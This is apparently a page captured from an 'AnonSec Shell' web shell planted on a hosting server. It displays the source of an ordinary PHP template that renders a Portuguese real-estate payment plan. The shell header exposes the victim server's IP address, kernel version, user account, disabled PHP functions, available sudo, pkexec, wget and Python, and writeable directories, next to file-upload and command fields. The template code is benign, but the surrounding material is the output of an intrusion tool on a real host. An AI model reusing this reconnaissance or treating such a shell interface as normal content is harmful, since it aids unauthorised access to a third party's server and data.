AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/assets/libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/assets/libs/paymentPlan.php
<html>

<head>
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link href="https://fonts.googleapis.com/css2?family=Inter&display=swap" rel="stylesheet" />
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">

    <script type="text/javascript" src="<?=APP_URL?>/application/plugins/module_imobles/assets/libs/html2canvas/html2canvas.js"></script>
    <script type="text/javascript" src="<?=APP_URL?>/application/plugins/module_imobles/assets/js/paymentPlan-jpeg.js"></script>

    <meta charset="UTF-8" />
    <style>
        @import url("https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap");
        @import url("https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap");

        @font-face {
            font-family: "FontAwesome";
            font-weight: normal;
            font-style: normal;
            src: url("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.eot?v=4.3.0");
            src: url("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.eot?#iefix&v=4.3.0") format("embedded-opentype"),
                url("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.woff2?v=4.3.0") format("woff2"),
                url("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.woff?v=4.3.0") format("woff"),
                url("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.ttf?v=4.3.0") format("truetype"),
                url("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.svg?v=4.3.0#fontawesomeregular") format("svg");
        }

        body {
            width: 600px;
            margin: 0 auto;
        }

        .payment_plan {
            width: 600px;
            display: flex;
            flex-direction: column;
            background-color: white;
            position: relative;
            overflow: hidden;
            display: flex;
            flex-grow: 1;
            margin: 7px 0px 54px;
        }

        .box_title {
            display: flex;
            position: relative;
        }

        .enterprise_title {
            display: flex;
            align-items: center;
            font: 400 19.0700435638px/1.21 "Inter", Helvetica, Arial, serif;
            color: #19212d;
            letter-spacing: -0.38px;
            width: 505px;
            position: relative;
            flex: 0 0 auto;
            margin: 2px 0px 0px 5px;
        }

        .box_logo {
            position: relative;
            flex-grow: 1;
            margin: 0px 0px 2px;
            display: flex;
            flex-direction: column;
            flex: 0 1 0px;
        }

        .logo {
            width: 100%;
            height: auto;
            vertical-align: top;
            -o-object-fit: contain;
            object-fit: contain;
            -o-object-position: center top;
            object-position: center top;

            position: relative;
            height: 24px;
            width: 90px;
            min-width: 90px;
            margin: 4px 0px 2px;
        }

        .box_enterprise {
            display: flex;
            position: relative;
            margin: 5px 0px 0px;
        }

        .group_enterprise_logo {
            display: flex;
            flex: 0 1 243px;
            flex-direction: column;
            position: relative;
            height: 119px;
        }

        .box_enterprise_logo {
            background-color: white;
            border: 0.7090965509px solid #c7c7c7;
            border-radius: 4px;
            position: absolute;
            top: 0px;
            height: 119px;
            left: 2px;
            right: 0px;
            width: 243px;
        }

        .enterprise_logo {
            height: auto;
            vertical-align: top;
            -o-object-fit: contain;
            object-fit: contain;
            -o-object-position: center top;
            object-position: center top;
            position: absolute;
            top: 7px;
            bottom: 7px;
            left: 35px;
            right: 35px;
            width: calc(100% - 70px);
        }

        .group_detail_enterprise {
            display: flex;
            flex-direction: column;
            position: relative;
            flex: 0 1 349px;
            flex-grow: 1;
            margin-left: 8px;
            width: 349px;
        }

        .box_detail_enterprise {
            position: relative;
            flex-grow: 1;
            padding: 12px 31px 12px 15px;
            display: flex;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            margin: 0px 0px 8px;
            row-gap: 10px;
            width: 349px;
            font: 400 16px/1.08 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
        }

        .enterprise_detail {
            flex: 0 1 8px;
            display: flex;
            position: relative;
            flex-grow: 1;
            font: 400 16px/1.08 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            width: 335px;
        }

        .icon {
            width: 100%;
            height: auto;
            vertical-align: top;
            -o-object-fit: contain;
            object-fit: contain;
            -o-object-position: center top;
            object-position: center top;
            position: relative;
            height: 16px;
            width: 14px;
            min-width: 14px;
            margin-right: 8px;
        }

        .box_details {
            display: flex;
            position: relative;
            margin: 0px 0px 0px;
        }

        .details_spacer {
            flex: 0 1 8px;
        }

        .details_block_big {
            display: flex;
            flex: 0 1 243px;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            height: 70px;
            position: relative;
            flex-grow: 1;
            text-align: center;
            align-items: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            line-height: 26px;
        }

        .details_block {
            display: flex;
            flex: 0 1 111px;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            height: 70px;
            position: relative;
            flex-grow: 1;
            text-align: center;
            align-items: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            line-height: 26px;
        }

        .financing_block {
            display: flex;
            flex: 0 1 111px;
            flex-direction: column;
            background-color: #002D40;
            border-radius: 4px;
            height: 70px;
            position: relative;
            flex-grow: 1;
            text-align: center;
            align-items: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #FFFFFF;
            letter-spacing: -0.32px;
            line-height: 26px;
            margin: 3px;
        }


        .financing_details_block {
            display: flex;
            flex: 0 1 244px;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            height: 100px;
            position: relative;
            text-align: center;
            align-items: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            line-height: 26px;
            margin: 3px;
        }

        .financing_details_line_break{
           max-width: 160px;
        }

        .financing_details_block_big {
            display: flex;
            flex: 0 1 348px;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            height: 100px;
            position: relative;
            text-align: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            line-height: 26px;
            margin: 3px;
            padding: 0px 10px 0px 10px;
        }

        .interest_group {
            display: flex;
            flex-direction: row;
            padding: 0px 10px 0px 10px;
        }

        .interest_block {
            display: flex;
            width: 50%;
            flex-direction: column;
            background-color: #f8f8f9;
            position: relative;
            text-align: center;
            align-items: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            line-height: 18px;
            margin: 3px;
        }


        .box_parcels {
            display: flex;
            position: relative;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            margin: 2px 0px 0px 0px;
            padding: 20px 16px 20px 16px;
            position: relative;
            text-align: center;
            align-items: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            line-height: 18px;

        }

        .box_parcels_remaining {
            padding: 5px 16px 5px 16px;
        }

        .parcels_group {
            display: flex;
            flex-direction: row;
            width: 100%;
        }

        .parcels_block {
            display: flex;
            width: 33%;
            flex-direction: column;
            background-color: #f8f8f9;
            position: relative;
            text-align: center;
            align-items: center;
            justify-content: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: -0.32px;
            line-height: 18px;
            margin: 3px;
        }

        .box_value {
            display: flex;
            background-color: #ECEDEF;
            border-radius: 4px;
            margin: 4px 0px 0px 0px;
            padding: 2px 8px 2px 8px;
        }

        .box_minumum_income {
            display: flex;
            position: relative;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            margin: 6px 0px 0px 0px;
            padding: 20px 16px 20px 16px;
            position: relative;
            text-align: center;
            align-items: center;
            justify-content: center;
            color: #F11038;
            letter-spacing: -0.02em;
            line-height: 19px;
            font-family: 'Inter';
            font-style: normal;
            font-weight: 600;
            font-size: 14px;
        }

        .box_minumum_income_remaining {
            padding: 5px 16px 5px 16px;
        }

        .box_payment {
            display: flex;
            flex-direction: column;
            background-color: #f8f8f9;
            border-radius: 4px;
            position: relative;
            margin: 6px 0px 0px;
        }

        .box_payment2 {
            position: relative;
            flex-grow: 1;
            margin: 21px 16px 17px 13px;
        }

        .title_box {
            display: flex;
            position: relative;
            width: 350px;
            margin: 0px 0px 0px 170px;
        }

        .title_column {
            align-items: center;
            justify-content: center;
            font: 400 16.7141456604px/1.12 "Inter", Helvetica, Arial, serif;
            color: #19212d;
            text-align: center;
            letter-spacing: -0.33px;
            position: relative;
            flex: 0 0 125px;
            margin: 0px 0px 1px;
        }

        .line {
            background-color: #cfcfcf;
            width: 98%;
            position: relative;
        }

        .item_line {
            display: flex;
            flex-direction: column;
            background-color: #ecedef;
            border-radius: 10px;
            position: relative;
            margin: 9px 0px 0px 3px;
        }

        .item_box {
            display: flex;
            position: relative;
            flex-grow: 1;
            margin: 7px 19px 5px;
        }

        .item_text {
            flex: 0 1 200px;
            text-align: left;
            align-items: center;
            font: 500 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #484b4f;
            letter-spacing: -0.32px;
        }

        .item_int {
            flex: 0 1 30px;
            text-align: center;
            align-items: center;
            font: 500 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #484b4f;
            letter-spacing: -0.32px;
        }

        .item_spacer {
            flex: 0 1 40px;
            text-align: center;
            align-items: center;
            font: 500 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #484b4f;
            letter-spacing: -0.32px;
        }

        .item_value {
            flex: 0 1 130px;
            text-align: center;
            align-items: center;
            font: 500 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #484b4f;
            letter-spacing: -0.32px;
        }

        .total_line {
            display: flex;
            flex-direction: column;
            background-color: #e2f2ea;
            border-radius: 10px;
            position: relative;
            margin: 6px 2px 0px 0px;
        }

        .total_box {
            display: flex;
            position: relative;
            flex-grow: 1;
            margin: 7px 22px 5px;
        }

        .total_text {
            flex: 0 1 400px;
            text-align: left;
            align-items: center;
            font: 400 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #19212d;
            letter-spacing: -0.32px;
            position: relative;
        }

        .total_value {
            flex: 0 1 130px;
            text-align: center;
            align-items: center;
            font: 500 16px/1.17 "Inter", Helvetica, Arial, serif;
            color: #484b4f;
            letter-spacing: -0.32px;
            position: relative;
        }

        .disclosure_text {
            display: flex;
            text-align: justify;
            align-items: center;
            font: 400 12px/1.34 "Inter", Helvetica, Arial, serif;
            color: #474d57;
            letter-spacing: 0px;
            position: relative;
            margin: 18px 8px 0px 8px;
        }

        .printBtn {
            display: inline-block;
            padding: 10px 10px 6px 10px;
            margin-bottom: 0;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            background-image: none;
            border: 1px solid transparent;
            border-radius: 4px;
            background-color: #1c84c6;
            border-color: #1c84c6;
            margin-bottom: 30px;
            text-decoration: none;
            display: inline;
            font-family: 'Inter', sans-serif;
            font-style: normal;
            font-weight: bold;
            font-size: 14px;
            color: #FFFFFF;
            line-height: 16px;
        }

        @media print {
            .printDiv {
                width: 600px;
                text-align: right;
                visibility: hidden;
            }
        }
    </style>
</head>


<?php

if ($logo) {
    $imgLogo = APP_URL . "/application/plugins/module_imobles/uploads/enterprise/" . $enterprise->id . "/images/" . $logo->src;
} else {
    $imgLogo = APP_URL . "/application/plugins/module_imobles/assets/imgs/myside_logo.png";
}

?>



<body>
    <div class="printDiv">
        <br />
        <a href="#" onClick="copyToClipboard()" class="printBtn" style="float: right; margin-right: 10px">
            <i class="fa fa-clipboard"></i>
            Copiar para área de Transferência
        </a>
        <a href="#" onClick="saveTofile()" class="printBtn" style="float: right; margin-right: 10px">
            <i class="fa fa-save"></i>
            Salvar Imagem
        </a>
        <a href="#" onClick="window.print()" class="printBtn" style="float: right; margin-right: 10px">
            <i class="fa fa-print"></i>
            Imprimir
        </a>
    </div>

    <div class="payment_plan" id="payment_plan">
        <div class="box_title">
            <div class="enterprise_title">
                <b><?= $enterprise->name ?></b>
            </div>

            <div class="box_logo">
                <img src="<?= APP_URL ?>/application/plugins/module_imobles/assets/imgs/myside_logo_slim.png" alt="" class="logo" />
            </div>
        </div>
        <div class="box_enterprise">
            <div class="group_enterprise_logo">
                <div class="box_enterprise_logo">
                    <img src="<?= $imgLogo ?>" alt="" class="enterprise_logo" />
                </div>
            </div>
            <div class="group_detail_enterprise">
                <div class="box_detail_enterprise">
                    <b>Unidade <?= $paymentPlan['unit_number'] ?></b>
                </div>
                <div class="box_detail_enterprise">
                    <div class="enterprise_detail">
                        <img src="<?= APP_URL ?>/application/plugins/module_imobles/assets/imgs/icon-map-marker.png" alt="" class="icon" />
                        <b>Bairro</b>
                        &nbsp;&nbsp;
                        <?= $enterprise->address_neightborhood ?>
                    </div>
                    <div class="enterprise_detail">
                        <img src="<?= APP_URL ?>/application/plugins/module_imobles/assets/imgs/icon-calendar.png" alt="" class="icon" />
                        <b>Entrega</b>
                        &nbsp;&nbsp;
                        <?= $paymentPlan['delivery'] ?>
                    </div>
                </div>
            </div>
        </div>

        <div class="box_details">
            <div class="details_block_big">
                <b>Preço do imóvel</b>
                R$ <?= number_format($paymentPlan['unit_value'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?>
            </div>
            <div class="details_spacer"></div>
            <div class="details_block">
                <b>m²</b>
                <?= number_format($typeUnit->area, 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?>
            </div>
            <div class="details_spacer"></div>
            <div class="details_block">
                <b>Quartos</b>
                <?= $typeUnit->number_rooms ?>
            </div>
            <div class="details_spacer"></div>
            <div class="details_block">
                <b>Suítes</b>
                <?= $typeUnit->number_suite ?>
            </div>
        </div>


        <?php
        if ($paymentPlan['payment_plan_flow'] == "Bank Financing" && $paymentPlan['months_to_delivery'] < 1) {
        ?>

            <div class="box_details">
                <div class="financing_block">
                    <b>Entrada - <?= number_format($paymentPlan['input_percent'] > 1 ? $paymentPlan['input_percent'] : $paymentPlan['input_percent'] * 100, 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?>% do valor total</b>
                    R$ <?= number_format($paymentPlan['input_value'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?>
                </div>
                <div class="financing_block">
                    <b>Saldo para financiamento</b>
                    R$ <?= number_format($paymentPlan['financing_value'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?>
                </div>
            </div>

            <div class="box_details">
                <div class="financing_details_block">
                    <div class="financing_details_line_break"><b>Quantidade de parcelas</b></div>
                    <?= $paymentPlan['installment_qtd'] ?>
                </div>
                <div class="financing_details_block_big">
                    <b>Juros</b>
                    <hr size="1" class="line" />
                    <div class="interest_group">
                        <div class="interest_block">
                            Mensal
                            <div class="box_value"><?= number_format($paymentPlan['monthly_interest'], 1, $this->config['dec_point'],  $this->config['thousands_sep']) ?>%</div>
                        </div>
                        <div class="interest_block">
                            Anual
                            <div class="box_value"><?= number_format($paymentPlan['annual_interest'], 1, $this->config['dec_point'],  $this->config['thousands_sep']) ?>%</div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="box_parcels">
                <b>Parcelas</b>
                <hr size="1" class="line" />
                <div class="parcels_group">
                    <div class="interest_block">
                        Valor Médio
                        <div class="box_value">R$ <?= number_format($paymentPlan['average_installment'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                    </div>
                    <div class="interest_block">
                        Mês 1
                        <div class="box_value">R$ <?= number_format($paymentPlan['first_installment'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                    </div>
                    <div class="interest_block">
                        Último mês
                        <div class="box_value">R$ <?= number_format($paymentPlan['last_installment'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                    </div>
                </div>
            </div>

            <div class="box_minumum_income">
            	Renda mínima estimada para aprovação de Crédito Bancário**: R$ <?= number_format($paymentPlan['minimum_income']/1000, 1, $this->config['dec_point'],  $this->config['thousands_sep']) ?> mil
            </div>


        <?php
        } else {
        ?>
            <div class="box_payment">
                <div class="box_payment2">

                    <div class="title_box">
                        <div class="title_column">Parcelas</div>
                        <div class="title_column">Valor da Parcela</div>
                        <div class="title_column">Total</div>
                    </div>

                    <hr size="1" class="line" />
                    <?php
                    if ($paymentPlan['signal_value'] > 0 && $paymentPlan['signal_total'] > 0) {
                    ?>
                        <div class="item_line">
                            <div class="item_box">
                                <div class="item_text">(+) <?= $labels['labelFinancingSignal'] ?></div>
                                <div class="item_int"><?= $paymentPlan['signal_qtd'] ?></div>
                                <div class="item_spacer"></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['signal_value'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['signal_total'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>
                    <?php
                    }
                    if ($paymentPlan['input_value'] > 0 && $paymentPlan['input_total'] > 0) {
                    ?>
                        <div class="item_line">
                            <div class="item_box">
                                <div class="item_text">(+) <?= $labels['labelFinancingInput'] ?></div>
                                <div class="item_int"><?= $paymentPlan['input_qtd'] ?></div>
                                <div class="item_spacer"></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['input_value'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['input_total'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>
                    <?php
                    }
                    if ($paymentPlan['monthly_value'] > 0 && $paymentPlan['monthly_total'] > 0) {
                    ?>
                        <div class="item_line">
                            <div class="item_box">
                                <div class="item_text">(+) <?= $labels['labelFinancingMontlhy'] ?></div>
                                <div class="item_int"><?= $paymentPlan['monthly_qtd'] ?></div>
                                <div class="item_spacer"></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['monthly_value'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['monthly_total'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>
                    <?php
                    }
                    if ($paymentPlan['intermediate_value'] > 0 && $paymentPlan['intermediate_qtd'] > 0) {
                    ?>
                        <div class="item_line">
                            <div class="item_box">
                                <div class="item_text">(+) <?= $labels['labelInstallmentType'] ?></div>
                                <div class="item_int"><?= $paymentPlan['intermediate_qtd'] ?></div>
                                <div class="item_spacer"></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['intermediate_value'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['intermediate_total'], 0, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>
                    <?php
                    }
                    if ($paymentPlan['keys_value'] > 0) {
                    ?>
                        <div class="item_line">
                            <div class="item_box">
                                <div class="item_text">(+) <?= $labels['labelFinancingKeys'] ?></div>
                                <div class="item_int"></div>
                                <div class="item_spacer"></div>
                                <div class="item_value"></div>
                                <div class="item_value">R$ <?= number_format($paymentPlan['keys_value'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>

                    <?php
                    }
                    if ($paymentPlan['payment_plan_flow'] == "Bank Financing") {
                    ?>


                        <div class="total_line">
                            <div class="total_box">
                                <div class="total_text"><b>(=) Total com a construtora (pré-chaves)*</b></div>
                                <div class="total_value">R$ <?= number_format($paymentPlan['total_value'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>
                        <div class="total_line">
                            <div class="total_box">
                                <div class="total_text"><b>Saldo p/ financiamento bancário (pós-chaves)</b></div>
                                <div class="total_value">R$ <?= number_format($paymentPlan['financing_value'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>

                    <?php
                        if ($includeRemainingFinancing) {
                    ?>
                        <div class="box_details">
                            <div class="financing_details_block">
                                <div class="financing_details_line_break"><b>Quantidade de parcelas</b></div>
                                <?= $paymentPlanRemaining['installment_qtd'] ?>
                            </div>
                            <div class="financing_details_block_big">
                                <b>Juros</b>
                                <hr size="1" class="line" />
                                <div class="interest_group">
                                    <div class="interest_block">
                                        Mensal
                                        <div class="box_value"><?= number_format($paymentPlanRemaining['monthly_interest'], 1, $this->config['dec_point'],  $this->config['thousands_sep']) ?>%</div>
                                    </div>
                                    <div class="interest_block">
                                        Anual
                                        <div class="box_value"><?= number_format($paymentPlanRemaining['annual_interest'], 1, $this->config['dec_point'],  $this->config['thousands_sep']) ?>%</div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="box_parcels box_parcels_remaining">
                            <b>Parcelas</b>
                            <hr size="1" class="line" />
                            <div class="parcels_group">
                                <div class="interest_block">
                                    Valor Médio
                                    <div class="box_value">R$ <?= number_format($paymentPlanRemaining['average_installment'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                                </div>
                                <div class="interest_block">
                                    Mês 1
                                    <div class="box_value">R$ <?= number_format($paymentPlanRemaining['first_installment'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                                </div>
                                <div class="interest_block">
                                    Último mês
                                    <div class="box_value">R$ <?= number_format($paymentPlanRemaining['last_installment'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                                </div>
                            </div>
                        </div>
                        <div class="box_minumum_income box_minumum_income_remaining">
                            Renda mínima estimada para aprovação de Crédito Bancário**: R$ <?= number_format($paymentPlanRemaining['minimum_income']/1000, 1, $this->config['dec_point'],  $this->config['thousands_sep']) ?> mil
                        </div>


                    <?php
                        }
                    } else {
                    ?>
                        <div class="total_line">
                            <div class="total_box">
                                <div class="total_text"><b>(=) Total*</b></div>
                                <div class="total_value">R$ <?= number_format($paymentPlan['total_value'], 2, $this->config['dec_point'],  $this->config['thousands_sep']) ?></div>
                            </div>
                        </div>
                    <?php
                    }
                    ?>

                </div>
            </div>

        <?php
        }
        ?>
        <div class="disclosure_text">
            * Os valores são corrigidos conforme condições específicas de cada empreendimento, normalmente com INCC/CUB
            até entrega de chaves e indicador específico após a entrega. Consulte detalhes com o Personal Shopper
            Imobiliário.<br />** Esta simulação é apenas para referência, não se configurando como uma proposta efetiva.
            As condições estão sujeitas à confirmação e avaliação do vendedor, da construtora ou da instituição
            financeira, podendo ser alteradas sem aviso prévio.
        </div>
    </div>
</body>



</html>

Anon7 - 2022
AnonSec Team